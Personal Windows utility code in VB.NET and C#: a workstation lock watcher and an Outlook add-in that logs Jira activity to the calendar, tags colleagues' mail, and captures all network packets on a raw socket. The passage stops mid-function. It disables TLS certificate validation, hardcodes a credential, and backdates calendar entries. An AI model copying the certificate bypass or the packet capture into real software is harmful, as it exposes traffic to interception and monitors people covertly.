Imports System.Timers

Public Class WorkStationReader
#Region "API Calls"
    Private Const DESKTOP_CREATEMENU As Int32 = &H4&
    Private Const DESKTOP_CREATEWINDOW As Int32 = &H2&
    Private Const DESKTOP_ENUMERATE As Int32 = &H40&
    Private Const DESKTOP_HOOKCONTROL As Int32 = &H8&
    Private Const DESKTOP_READOBJECTS As Int32 = &H1&
    Private Const DESKTOP_SWITCHDESKTOP As Int32 = &H100&
    Private Const DESKTOP_WRITEOBJECTS As Int32 = &H80&
    Private Const GENERIC_WRITE As Int32 = &H40000000
    Private Const HWND_BROADCAST As Int32 = &HFFFF&
    Private Const WM_HOTKEY As Int32 = &H312
    Private Const MOD_ALT As Int32 = &H1
    Private Const MOD_CONTROL As Int32 = &H2
    Private Const VK_DELETE As Int32 = &H2E
    Private Const UOI_NAME As Int32 = 2
    Private Declare Function OpenDesktop Lib "user32" Alias "OpenDesktopA" (ByVal lpszDesktop As String, ByVal dwFlags As Int32, ByVal fInherit As Boolean, ByVal dwDesiredAccess As Int32) As Int32
    Private Declare Function CloseDesktop Lib "user32" (ByVal hDesktop As Int32) As Int32
    Private Declare Function SwitchDesktop Lib "user32" (ByVal hDesktop As Int32) As Int32
#End Region
#Region "WorkStationReader Global Variables"
    Dim p_lngHwnd As Int32
    Dim p_lngRtn As Int32
    Dim p_lngErr As Int32
    Dim l_lkwkst As Int32

    Dim MyTimer As New Timer()
    Public Sub New()
        MyTimer.Enabled = True
        MyTimer.Interval = 500
        AddHandler MyTimer.Elapsed, New ElapsedEventHandler(AddressOf WorkStationISLocked)
        MyTimer.Start()
    End Sub
#End Region
#Region "WorkStationReader Events"
    Event locked(ByVal ivarreturn As Object)
    Event unlocked(ByVal ivarreturn As Object)
#End Region
    Dim LastStateUnlocked As Boolean = True
#Region "WorkStationReader Functions"
    Function WorkStationISLocked() As Object
        Dim ivarreturn(2) As Object
        p_lngHwnd = OpenDesktop("Default", 0, False, DESKTOP_SWITCHDESKTOP)
        If p_lngHwnd = 0 Then
            ivarreturn(0) = "Error with OpenDesktop: " & Err.LastDllError
            ivarreturn(1) = False
            WorkStationISLocked = ivarreturn
            If LastStateUnlocked Then
                RaiseEvent locked(ivarreturn)
                LastStateUnlocked = False
            End If

            Exit Function
        Else
            p_lngRtn = SwitchDesktop(hDesktop:=p_lngHwnd)
            p_lngErr = Err.LastDllError
            If p_lngRtn = 0 Then
                If p_lngErr = 0 Then
                    'ivarreturn(0) = "Desktop is locked: " & Err.LastDllError
                    ivarreturn(0) = "Locked : " '& Err.LastDllError
                    ivarreturn(1) = True
                    WorkStationISLocked = ivarreturn
                    If LastStateUnlocked Then
                        RaiseEvent locked(ivarreturn)
                        LastStateUnlocked = False
                    End If

                    GoTo CleanUpProc
                Else
                    ivarreturn(0) = "Error with SwitchDesktop: " & Err.LastDllError
                    ivarreturn(1) = False
                    WorkStationISLocked = ivarreturn
                    GoTo CleanUpProc
                End If
            Else
                'ivarreturn(0) = "Not locked!"
                ivarreturn(0) = "Unlocked : "
                ivarreturn(1) = False
                WorkStationISLocked = ivarreturn
                If Not LastStateUnlocked Then
                    RaiseEvent unlocked(ivarreturn)
                    LastStateUnlocked = True
                End If

                GoTo CleanUpProc
            End If
        End If
        Exit Function
CleanUpProc:
        p_lngHwnd = CloseDesktop(p_lngHwnd)
    End Function
#End Region
End Class

Public Class Form1
    WithEvents NewStation As New WorkStationReader()
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

    End Sub

    Private Sub NewStation_locked(ivarreturn As Object) Handles NewStation.locked
        Debug.WriteLine("Locked - " & Now)
    End Sub

    Private Sub NewStation_unlocked(ivarreturn As Object) Handles NewStation.unlocked
        Debug.WriteLine("unLocked - " & Now)
    End Sub
End Class

C#

public class WorkStationReader { private const Int32 DESKTOP_CREATEMENU = 0x4; private const Int32 DESKTOP_CREATEWINDOW = 0x2; private const Int32 DESKTOP_ENUMERATE = 0x40; private const Int32 DESKTOP_HOOKCONTROL = 0x8; private const Int32 DESKTOP_READOBJECTS = 0x1; private const Int32 DESKTOP_SWITCHDESKTOP = 0x100; private const Int32 DESKTOP_WRITEOBJECTS = 0x80; private const Int32 GENERIC_WRITE = 0x40000000; private const Int32 HWND_BROADCAST = 0xFFFF; private const Int32 WM_HOTKEY = 0x312; private const Int32 MOD_ALT = 0x1; private const Int32 MOD_CONTROL = 0x2; private const Int32 VK_DELETE = 0x2E; private const Int32 UOI_NAME = 2; [System.Runtime.InteropServices.DllImport("user32")] private static extern Int32 OpenDesktop(string lpszDesktop, Int32 dwFlags, bool fInherit, Int32 dwDesiredAccess); [System.Runtime.InteropServices.DllImport("user32")] private static extern Int32 CloseDesktop(Int32 hDesktop); [System.Runtime.InteropServices.DllImport("user32")] private static extern Int32 SwitchDesktop(Int32 hDesktop); private Int32 p_lngHwnd; private Int32 p_lngRtn; private Int32 p_lngErr; private Int32 l_lkwkst;

        private Timer MyTimer = new Timer();

        public WorkStationReader()
        {
            MyTimer.Enabled = true;
            MyTimer.Interval = 500;
            MyTimer.Elapsed += new ElapsedEventHandler(WorkStationISLocked);
            MyTimer.Start();
        }
        public event lockedEventHandler locked;

        public delegate void lockedEventHandler(object ivarreturn);

        public event unlockedEventHandler unlocked;

        public delegate void unlockedEventHandler(object ivarreturn);

        private bool LastStateUnlocked = true;
        private void WorkStationISLocked(Object source, System.Timers.ElapsedEventArgs e)
        {
            object[] ivarreturn = new object[3];
            p_lngHwnd = OpenDesktop("Default", 0, false, DESKTOP_SWITCHDESKTOP);
            if (p_lngHwnd == 0)
            {
                ivarreturn[0] = "Error with OpenDesktop: " + System.Runtime.InteropServices.Marshal.GetLastWin32Error();
                ivarreturn[1] = false;
                if (LastStateUnlocked)
                {
                    locked?.Invoke(ivarreturn);
                    LastStateUnlocked = false;
                }

                return;
            }
            else
            {
                p_lngRtn = SwitchDesktop(hDesktop: p_lngHwnd);
                p_lngErr = System.Runtime.InteropServices.Marshal.GetLastWin32Error();
                if (p_lngRtn == 0)
                {
                    if (p_lngErr == 0)
                    {
                        // ivarreturn(0) = "Desktop is locked: " & Err.LastDllError
                        ivarreturn[0] = "Locked : "; // & Err.LastDllError
                        ivarreturn[1] = true;
                        if (LastStateUnlocked)
                        {
                            locked?.Invoke(ivarreturn);
                            LastStateUnlocked = false;
                        }

                        goto CleanUpProc;
                    }
                    else
                    {
                        ivarreturn[0] = "Error with SwitchDesktop: " + System.Runtime.InteropServices.Marshal.GetLastWin32Error();
                        ivarreturn[1] = false;
                        goto CleanUpProc;
                    }
                }
                else
                {
                    // ivarreturn(0) = "Not locked!"
                    ivarreturn[0] = "Unlocked : ";
                    ivarreturn[1] = false;
                    if (!LastStateUnlocked)
                    {
                        unlocked?.Invoke(ivarreturn);
                        LastStateUnlocked = true;
                    }

                    goto CleanUpProc;
                }
            }
            return;
        CleanUpProc:
            ;
            p_lngHwnd = CloseDesktop(p_lngHwnd);
            return;
        }
    }
public WorkStationReader MyStationLockWatcher = new WorkStationReader();
private void ThisAddIn_Startup(object sender, System.EventArgs e)
        {
            MyStationLockWatcher.locked += MyStationLockWatcher_locked;
            MyStationLockWatcher.unlocked += MyStationLockWatcher_unlocked;
        }

        private void MyStationLockWatcher_unlocked(object ivarreturn)
        {
            Debug.WriteLine("Unlocked");
        }

        private void MyStationLockWatcher_locked(object ivarreturn)
        {
            Debug.WriteLine("Locked");
        }
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using Outlook = Microsoft.Office.Interop.Outlook;
using Office = Microsoft.Office.Core;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.DirectoryServices.AccountManagement;
using System.DirectoryServices;
using System.Collections;
using System.Xml;
using System.Xml.XPath;
using System.Net;
using System.Diagnostics;
using System.Text.RegularExpressions;

namespace EmailManager
{
    public partial class ThisAddIn
    {

        Timer MyTimer = new Timer();

        private void ClearCalendarAudits()
        {
            try
            {
                Outlook.Folder calFolder = Application.Session.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderCalendar) as Outlook.Folder;
                DateTime start = DateTime.Now.AddDays(-7);
                DateTime end = DateTime.Now;
                Outlook.Items rangeAppts = GetAppointmentsInRange(calFolder, start, end);
                if (rangeAppts != null)
                {
                    foreach (Outlook.AppointmentItem appt in rangeAppts)
                    {
                        //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Subject: " + appt.Subject + " Start: " + appt.Start.ToString("g"));
                        if (appt.Subject.StartsWith(" IS-"))
                        {
                            System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +appt.Start + " - " + appt.Subject + " Found !");
                            appt.Delete();
                        }
                    }
                }
            }
            catch
            {

            }
        }


        private void JiraToCalendar(string LogItemsCount)
        {
            Log[] ActivityLog = GetJiraActivity("EID", LogItemsCount);
            if (ActivityLog == null)
            {
                return;
            }
            foreach (var MyLog in ActivityLog)
            {
                //Debug.WriteLine(DateTime.Now.ToString() + " - " +DateTime.Parse(MyLog.Published, System.Globalization.CultureInfo.InvariantCulture) + " - " + MyLog.Summary + " - " + MyLog.Ticket);
                if (!AddAppointment(" " + MyLog.Ticket + " - " + MyLog.Summary, DateTime.Parse(MyLog.Published, System.Globalization.CultureInfo.InvariantCulture).AddMinutes(-15))) //Adjust the 15s to show work in the past
                {
                    //break;
                }
            }
        }

        private void TimerCount_Tick(System.Object sender, System.EventArgs e)
        {
            JiraToCalendar("10");
        }

        private void ThisAddIn_Startup(object sender, System.EventArgs e)
        {
            ServicePointManager.ServerCertificateValidationCallback = AcceptAllCertifications;
            ServicePointManager.Expect100Continue = true;
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
            MarkEmailsAsHuman();
            MyTimer.Interval = 60000 * 3;
            MyTimer.Tick += TimerCount_Tick;
            MyTimer.Start();

            //ClearCalendarAudits();

            JiraToCalendar("30");

            //this.Application.NewMail += new Microsoft.Office.Interop.Outlook.ApplicationEvents_11_NewMailEventHandler(_NewMail);
            this.Application.NewMailEx += new Microsoft.Office.Interop.Outlook.ApplicationEvents_11_NewMailExEventHandler(Application_NewMailEx);

            ListenForRawData();
        }

        private void ThisAddIn_Shutdown(object sender, System.EventArgs e)
        {
            // Note: Outlook no longer raises this event. If you have code that 
            //    must run when Outlook shuts down, see https://go.microsoft.com/fwlink/?LinkId=506785
        }

        private bool AddAppointment(string subject, DateTime StartDate)
        {
            try
            {
                Outlook.Folder calFolder = Application.Session.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderCalendar) as Outlook.Folder;
                DateTime start = StartDate.AddMinutes(-10); //Cloup updates together between 
                DateTime end = start.AddMinutes(45);
                Outlook.Items rangeAppts = GetAppointmentsInRange(calFolder, start, end);
                if (rangeAppts != null)
                {
                    foreach (Outlook.AppointmentItem appt in rangeAppts)
                    {
                        //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Subject: " + appt.Subject + " Start: " + appt.Start.ToString("g"));
                        if (appt.Subject == subject)
                        {
                            System.Diagnostics.Debug.WriteLine("\t" + DateTime.Now.ToString() + " - " +appt.Subject + " Already exist!");
                            return false; //Cant tell the difference between a duped and clumped work. need to add a UID
                        }
                    }
                }
            }
            catch
            {

            }
            try
            {
                Outlook.AppointmentItem newAppointment = (Outlook.AppointmentItem)this.Application.CreateItem(Outlook.OlItemType.olAppointmentItem);
                newAppointment.Start = StartDate;
                newAppointment.End = StartDate.AddMinutes(15);
                newAppointment.Location = "N/A";
                newAppointment.Body = "";
                newAppointment.AllDayEvent = false;
                newAppointment.Subject = subject;
                newAppointment.ReminderSet = false;
                newAppointment.Categories = "Jira";
                newAppointment.Sensitivity = Outlook.OlSensitivity.olPrivate;
                /*
                newAppointment.Recipients.Add("Roger Harui");
                 * Outlook.Recipients sentTo = newAppointment.Recipients;
                Outlook.Recipient sentInvite = null;
                sentInvite = sentTo.Add("Holly Holt");
                sentInvite.Type = (int)Outlook.OlMeetingRecipientType
                    .olRequired;
                sentInvite = sentTo.Add("David Junca ");
                sentInvite.Type = (int)Outlook.OlMeetingRecipientType
                    .olOptional;
                sentTo.ResolveAll();
                */
                newAppointment.Save();
                //newAppointment.Display(true);
            }
            catch (Exception ex)
            {
                MessageBox.Show("The following error occurred: " + ex.Message);
            }
            return true;
        }

        private bool AddCallLog(string subject, double seconds)
        {
            DateTime start = DateTime.Now.AddSeconds(-seconds); //Watch this, it seems to be multiplying and not adding
            DateTime end = DateTime.Now;

            try
            {
                Outlook.Folder calFolder = Application.Session.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderCalendar) as Outlook.Folder;
                Outlook.Items rangeAppts = GetAppointmentsInRange(calFolder, start, end);
                if (rangeAppts != null)
                {
                    foreach (Outlook.AppointmentItem appt in rangeAppts)
                    {
                        //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Subject: " + appt.Subject + " Start: " + appt.Start.ToString("g"));
                        if (appt.Subject == subject)
                        {
                            System.Diagnostics.Debug.WriteLine("\t" + DateTime.Now.ToString() + " - " +appt.Subject + " Already exist!");
                            return false; //Cant tell the difference between a duped and clumped work. need to add a UID
                        }
                    }
                }
            }
            catch
            {

            }
            try
            {
                Outlook.AppointmentItem newAppointment = (Outlook.AppointmentItem)this.Application.CreateItem(Outlook.OlItemType.olAppointmentItem);
                newAppointment.Start = start;
                newAppointment.End = end;
                newAppointment.Location = "N/A";
                newAppointment.Body = "";
                newAppointment.AllDayEvent = false;
                newAppointment.Subject = subject;
                newAppointment.ReminderSet = false;
                newAppointment.Categories = "PhoneCall";
                newAppointment.Sensitivity = Outlook.OlSensitivity.olPrivate;

                newAppointment.Save();
                //newAppointment.Display(true);
            }
            catch (Exception ex)
            {
                MessageBox.Show("The following error occurred: " + ex.Message);
            }
            return true;
        }
        private Outlook.Items GetAppointmentsInRange(Outlook.Folder folder, DateTime startTime, DateTime endTime)
        {
            string filter = "[Start] >= '"
                + startTime.ToString("g")
                + "' AND [End] <= '"
                + endTime.ToString("g") + "'";
            Debug.WriteLine(DateTime.Now.ToString() + " - " +filter);
            try
            {
                Outlook.Items calItems = folder.Items;
                calItems.IncludeRecurrences = true;
                calItems.Sort("[Start]", Type.Missing);
                Outlook.Items restrictItems = calItems.Restrict(filter);
                if (restrictItems.Count > 0)
                {
                    return restrictItems;
                }
                else
                {
                    return null;
                }
            }
            catch { return null; }
        }

        ArrayList Humans = new ArrayList();
        ArrayList NonHumans = new ArrayList();
        object Item = null;
        Outlook._MailItem moveMail = null;
        Outlook.Items resultItems = null;

        private void Application_NewMailEx(string EntryIDCollection)
        {
            /*string senderEmailid = string.Empty;
            Outlook.NameSpace outlookNameSpace = this.Application.GetNamespace("MAPI");
            Outlook.Application myApp = new Outlook.Application();
            Outlook.NameSpace mapiNameSpace = myApp.GetNamespace("MAPI");
            Outlook.MAPIFolder myInbox = mapiNameSpace.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderInbox);
            Outlook.Attachments attachments;
            int test = myInbox.Items.Count;
            */
                object Item = Application.Session.GetItemFromID(EntryIDCollection, Type.Missing) as Outlook.MailItem;
            if (Item is Outlook._MailItem)
            {
                ProcessMailItem(Item as Outlook.MailItem);
            }
        }

        private void MarkEmailsAsHuman()
        {
            Outlook.MAPIFolder inBox = (Outlook.MAPIFolder) this.Application.ActiveExplorer().Session.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderInbox);

            Outlook.Items inboxitems = (Outlook.Items)inBox.Items;


            //sFilter = "[LastModificationTime] > '" & Format("1/15/99 3:30pm", "ddddd h:nn AMPM") & "'"
            //items.Restrict("[UnRead] = true");
            //Outlook.MAPIFolder destFolder = inBox.Folders ["Inbox"];
            //Outlook.MAPIFolder destFolder = this.Application.ActiveExplorer().Session.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderInbox);
            string Restricting = "([LastModificationTime] > '" + DateTime.Now.AddDays(-2).ToString("yyyy-MM-dd HH:mm") + "' or [ReceivedTime] > '" + DateTime.Now.AddDays(-2).ToString("yyyy-MM-dd HH:mm") + "')";
            //string Restricting = "[UnRead] = true and ([LastModificationTime] > '" + DateTime.Now.AddDays(-2).ToString("yyyy-MM-dd HH:mm") + "' or [ReceivedTime] > '" + DateTime.Now.AddDays(-2).ToString("yyyy-MM-dd HH:mm") + "')";
            //string Restricting = "[UnRead] = true";
            resultItems = inboxitems.Restrict(Restricting);
            //Dictionary<string, string> SenderToAD = new Dictionary<string, string>();

            Item = resultItems.GetFirst();
            while (Item != null)
            {
                if (Item is Outlook._MailItem)
                {
                    ProcessMailItem(Item as Outlook.MailItem);
                }

                Marshal.ReleaseComObject(Item);
                Item = resultItems.GetNext();
            }
            /*
            foreach (object eMail in resultItems)
            {
                moveMail = eMail as Outlook.MailItem;
                try
                {
                    if (!(moveMail is null))
                    {
                        System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.UnRead + " " + moveMail.ReceivedTime + " / " + moveMail.LastModificationTime + " - " + (string)moveMail.SenderEmailAddress + " " +  (string)moveMail.Subject);
                        //if (!(moveMail.ReceivedTime is null))
                        //{
                        if (moveMail.ReceivedTime > (DateTime.Now.AddDays(-2)))
                        {
                            if (!(moveMail.Subject is null))
                            {
                                if (moveMail.SenderEmailAddress.StartsWith("/O=EISENHOWER MEDICAL CENTER", StringComparison.OrdinalIgnoreCase))
                                {
                                    if (!(moveMail.Categories is null))
                                    {
                                        System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.Categories);
                                    }
                                    if (moveMail.Categories != "Human")
                                    {
                                        moveMail.Categories = "Human";
                                        moveMail.Save();
                                    }
                                    //string titleSubject = (string)moveMail.Subject;
                                }
                            }
                        }
                        else
                        {
                            //return;
                        }
                        //}
                    }
                }
                catch (Exception ex)
                {
                    return;
                    MessageBox.Show(ex.Message);
                    if (ex.Message.StartsWith("Out of memory or system resources", StringComparison.OrdinalIgnoreCase))
                    {
                        Application.Quit();
                    }
                }
            }
            */
        }


        private void ProcessMailItem(Outlook.MailItem Item)
        {
            if (Item is Outlook._MailItem)
            {
                moveMail = Item as Outlook.MailItem;
                if (Humans.Contains(moveMail.SenderEmailAddress))
                {
                    if (moveMail.Categories != "Human")
                    {
                        moveMail.Categories = "Human";
                        moveMail.Save();
                    }
                    return;
                }

                if (NonHumans.Contains(moveMail.SenderEmailAddress))
                {
                    return;
                }

                Outlook.Recipient recipient = moveMail.Application.Session.CreateRecipient(moveMail.SenderEmailAddress);

                System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.SenderEmailAddress + " " + (string) moveMail.Subject);
                if (recipient != null && recipient.Resolve() && recipient.AddressEntry != null)
                {
                    Outlook.ExchangeUser exUser = recipient.AddressEntry.GetExchangeUser();
                    if (exUser != null && !string.IsNullOrEmpty(exUser.Alias))
                    {
                        using (PrincipalContext pc = new PrincipalContext(ContextType.Domain))
                        {
                            /*System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +exUser.Alias + " - " + exUser.Address);
                            if (exUser.Alias == "ssharpe")
                            {
                                System.Diagnostics.Debugger.Break();
                            }
                            */
                            UserPrincipal up = UserPrincipal.FindByIdentity(pc, exUser.Alias);
                            if (up != null)
                            {
                                DirectoryEntry directoryEntry = up.GetUnderlyingObject() as DirectoryEntry;
            System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +directoryEntry.Path);
                                if (directoryEntry.Properties.Contains("wWWHomePage"))
                                {
                                    //deliveryOffice = directoryEntry.Properties["wWWHomePage"].Value.ToString();
                                    //System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.UnRead + " " + moveMail.ReceivedTime + " / " + moveMail.LastModificationTime + " - " + (string)moveMail.SenderEmailAddress + " " + (string)moveMail.Subject);
                                    if (moveMail.ReceivedTime > (DateTime.Now.AddDays(-2)))
                                    {
                                        if (!(moveMail.Subject is null))
                                        {
                                            if (moveMail.SenderEmailAddress.StartsWith("/O=EISENHOWER MEDICAL CENTER", StringComparison.OrdinalIgnoreCase))
                                            {
                                                Humans.Add(moveMail.SenderEmailAddress);

                                                if (moveMail.Categories != "Human")
                                                {
                                                    if (!(moveMail.Categories is null))
                                                    {
                                                        System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.Categories);
                                                    }
                                                    moveMail.Categories = "Human";
                                                    moveMail.Save();
                                                }
                                                //string titleSubject = (string)moveMail.Subject;
                                            }
                                        }
                                    }
                                }
                                else
                                {
                                    NonHumans.Add(moveMail.SenderEmailAddress);
                                    moveMail.Categories = "";
                                    moveMail.Save();
                                    System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +"1");
                                }
                            }
                            else
                            {
                                NonHumans.Add(moveMail.SenderEmailAddress);
                                moveMail.Categories = "";
                                moveMail.Save();
                                System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +"2");
                            }
                        }
                    }
                    else
                    {
                        NonHumans.Add(moveMail.SenderEmailAddress);
                        System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.Subject);
                        moveMail.Categories = "";
                        moveMail.Save();
                        System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +"3");
                    }
                }
                else
                {
                    NonHumans.Add(moveMail.SenderEmailAddress);
                    moveMail.Categories = "";
                    moveMail.Save();
                    System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +"4");
                }
            }
        }







        //https://jira.FQDN.org/plugins/servlet/gadgets/ifr?container=atlassian&mid=1&country=US&lang=en&view=default&view-params=%7B%22writable%22%3A%22false%22%7D&st=atlassian%3ACHEhujCuDk7wVctYMBFtIB6EC%2FsWWjT0NvqsMcRrrEjOTyApQg5A%2Bx%2FF6RMyK3KngdA2uz0YCRp66uc18ivqE0uu%2B8qzlP6%2F2bEudWu5oAcCkP8LVpCd7vERN1liX8wsnQ%2F8ARYrcH%2F82pOewKgs52752hgU8%2FoVLVgbin%2BpIMbCZGR8%2FG6IsPfPfci6%2Bt4HtjXsYZObGEC%2BnzjFs0j8OJmsxZSPI%2FZ8NCky1Ikty%2B85LF3vWK%2F4cVz8BaeTwyiRtL9HWkOHzBvVEAZeG5XttSA%2FiRk%3D&up_isConfigured=true&up_isReallyConfigured=false&up_title=Activity+Stream&up_titleRequired=false&up_numofentries=10&up_refresh=false&up_maxProviderLabelCharacters=50&up_rules=&up_renderingContext=&up_keys=&up_itemKeys=&up_username=EID&url=https%3A%2F%2Fjira.FQDN.org%2Frest%2Fgadgets%2F1.0%2Fg%2Fcom.atlassian.streams.streams-jira-plugin%2Fgadgets%2Factivitystream-gadget.xml&libs=auth-refresh#rpctoken=988677668

        const string JiraURL = "https://jira.FQDN.org/activity?maxResults=10&streams=user+IS+EID&os_authType=basic&title=mytitle";

        private struct Log
        {
            public string Ticket;
            public string Published;
            public string Summary;
        }

        private Log[] GetJiraActivity(string UserEID, string MaxResults)
        {
            Log[] MyLogsToReturn = new Log[Convert.ToInt32(MaxResults)];
            int I = -1;
            // Create a WebRequest to the remote site
            System.Net.HttpWebRequest request = (System.Net.HttpWebRequest)System.Net.HttpWebRequest.Create("https://jira.FQDN.org/activity?maxResults=" + MaxResults + "&streams=user+IS+" + UserEID + "&os_authType=basic&title=mytitle");
            // NB! Use the following line ONLY if the website is protected
            request.UseDefaultCredentials = true;
            request.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
            request.Credentials = CredentialCache.DefaultNetworkCredentials;

            request.Credentials = new System.Net.NetworkCredential("EID", "Password");

            System.Net.HttpWebResponse response = null;
            // Call the remote site, and parse the data in a response object
            try
            {
                response = (HttpWebResponse)request.GetResponse();
            }
            catch
            {
                return null;
            }

            // Check if the response is OK (status code 200)
            if (response.StatusCode == System.Net.HttpStatusCode.OK)
            {
                // Parse the contents from the response to a stream object
                System.IO.Stream stream = response.GetResponseStream();
                // Create a reader for the stream object
                System.IO.StreamReader reader = new System.IO.StreamReader(stream);
                // Read from the stream object using the reader, put the contents in a string
                string contents = reader.ReadToEnd();
                // Create a new, empty XML document
                System.Xml.XmlDocument document = new System.Xml.XmlDocument();
                // Load the contents into the XML document
                document.LoadXml(contents);
                // 
                // 
                XmlNamespaceManager nsmgr = new XmlNamespaceManager(document.NameTable);
                nsmgr.AddNamespace("http://www.w3.org/2005/Atom", document.DocumentElement.NamespaceURI);
                // Now you have a XmlDocument object that contains the XML from the remote site, you can
                // use the objects and methods in the System.Xml namespace to read the document
                XmlNodeList rssNodes = document.SelectNodes("//feed/entry");
                StringBuilder rssContent = new StringBuilder();

                foreach (XmlNode MyNode in document.ChildNodes)
                {
                }

                XPathDocument xpathDoc;
                XPathNavigator xmlNav;
                XPathNodeIterator xmlNI;
                XmlReader XmlReader = new XmlNodeReader(document);
                xpathDoc = new XPathDocument(XmlReader);
                xmlNav = xpathDoc.CreateNavigator();
                xmlNI = xmlNav.Select("/");

                xmlNI.MoveNext();
                xmlNI.Current.MoveToFirstChild();
                if (!(xmlNI.Current.IsEmptyElement))
                {
                }

                if ((xmlNI.Current.HasChildren))
                {
                    while ((xmlNI.Current.Name != "feed"))
                        xmlNI.MoveNext();

                    xmlNI.Current.MoveToFirstChild();

                    while ((xmlNI.Current.Name != "entry"))
                        xmlNI.Current.MoveToNext();

                    xmlNI.Current.MoveToFirstChild();

                    bool RestartWhile = false;

                    while (true)
                    {
                        if ((!RestartWhile))
                        {
                            I += 1;
                            while ((xmlNI.Current.Name != "published"))
                            {
                                if ((!xmlNI.Current.MoveToNext()))
                                    return null;
                                if ((xmlNI.Current.Name == "published"))
                                {
                                    MyLogsToReturn[I].Published = xmlNI.Current.Value;
                                    // Debug.WriteLine(DateTime.Now.ToString() + " - " +xmlNI.Current.Name + " : " + xmlNI.Current.Value)
                                    break;
                                }
                            }
                        }

                        RestartWhile = false;

                        while ((xmlNI.Current.Name != "activity:target" & xmlNI.Current.Name != "activity:object"))
                        {
                            if ((!xmlNI.Current.MoveToNext()))
                                return null;
                        }

                        xmlNI.Current.MoveToFirstChild();

                        while ((xmlNI.Current.Name != "title"))
                        {
                            if ((!xmlNI.Current.MoveToNext()))
                            {
                                xmlNI.Current.MoveToParent();
                                xmlNI.Current.MoveToNext();
                                RestartWhile = true;
                                break;
                            }
                            if ((xmlNI.Current.Value.Contains("IS-")))
                                MyLogsToReturn[I].Ticket = xmlNI.Current.Value;
                        }

                        if (RestartWhile)
                            continue;

                        while ((xmlNI.Current.Name != "summary"))
                        {
                            if ((!xmlNI.Current.MoveToNext()))
                            {
                                xmlNI.Current.MoveToParent();
                                xmlNI.Current.MoveToNext();
                                RestartWhile = true;
                                break;
                            }
                            if ((xmlNI.Current.Name == "summary"))
                                MyLogsToReturn[I].Summary = xmlNI.Current.Value;
                        }

                        if (RestartWhile)
                            continue;

                        xmlNI.Current.MoveToParent();
                        xmlNI.Current.MoveToParent();
                        if ((!xmlNI.Current.MoveToNext()))
                            break;
                        xmlNI.Current.MoveToFirstChild();
                    }

                    return MyLogsToReturn;
                }
            }
            else
            {
                // If the call to the remote site fails, you'll have to handle this. There can be many reasons, ie. the 
                // remote site does not respond (code 404) or your username and password were incorrect (code 401)
                // 
                // See the codes in the System.Net.HttpStatusCode enumerator 
                throw new Exception("Could not retrieve document from the URL, response code: " + response.StatusCode);
            }
            return null;
        }

        public bool AcceptAllCertifications(object sender, System.Security.Cryptography.X509Certificates.X509Certificate certification, System.Security.Cryptography.X509Certificates.X509Chain chain, System.Net.Security.SslPolicyErrors sslPolicyErrors)
        {
            return true;
        }


        ArrayList ByeServerList = new ArrayList();
        ArrayList ByeSipList = new ArrayList();
        ArrayList PhonePickedUpList = new ArrayList();

        private System.Net.Sockets.Socket RAWSocket;
        private const int IOC_VENDOR = 0x18000000;
        private const int IOC_IN = -2147483648;
        private const int SIO_RCVALL = IOC_IN | IOC_VENDOR | 1;
        private const int SECURITY_BUILTIN_DOMAIN_RID = 0x20;
        private const int DOMAIN_ALIAS_RID_ADMINS = 0x220;
        private string MyIPAddr = "";
        private StateObject MyStateObject;
        public class StateObject
        {
            public System.Net.Sockets.Socket workSocket = null;
            public const int BUFFER_SIZE = 65535;
            public byte[] buffer = new byte[65536];
            public System.Text.StringBuilder sb = new System.Text.StringBuilder();
        } // StateObject

        private void ListenForRawData()
        {
            // To get local address
            string sHostName;
            sHostName = System.Net.Dns.GetHostName();
            System.Net.IPHostEntry ipE = System.Net.Dns.GetHostByName(sHostName);
            System.Net.IPAddress[] IpA = ipE.AddressList;
            MyIPAddr = IpA[0].ToString();

            MyStateObject = new StateObject();
            RAWSocket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Raw, System.Net.Sockets.ProtocolType.IP);
            byte[] OptionIn = BitConverter.GetBytes(1);
            byte[] OptionOut = null;

            byte[] InByte = new byte[] { 1, 0, 0, 0 };
            byte[] outByte = new byte[5];

            // RAWSocket.Bind(New System.Net.IPEndPoint(Net.IPAddress.Any, 0))
            RAWSocket.Bind(new System.Net.IPEndPoint(System.Net.IPAddress.Parse(MyIPAddr), 0)); // must be bound to a IP
                                                                                                // 
            RAWSocket.IOControl(SIO_RCVALL, InByte, outByte);
            RAWSocket.BeginReceive(MyStateObject.buffer, 0, StateObject.BUFFER_SIZE, System.Net.Sockets.SocketFlags.Peek, new AsyncCallback(SockCallBack), null);
            Debug.WriteLine(DateTime.Now.ToString() + " - " +"Listening On: " + MyIPAddr);
        }

        private void SockCallBack(System.IAsyncResult ar)
        {
            var BytesReturned = RAWSocket.EndReceive(ar);

            string ListboxData = null;
            switch (MyStateObject.buffer[9])
            {
                case 0x1 // Protocol ICMP
               :
                    {
                        break;
                    }

                case 0x2:
                    {
                        break;
                    }

                case 0x6 // TCP
       :
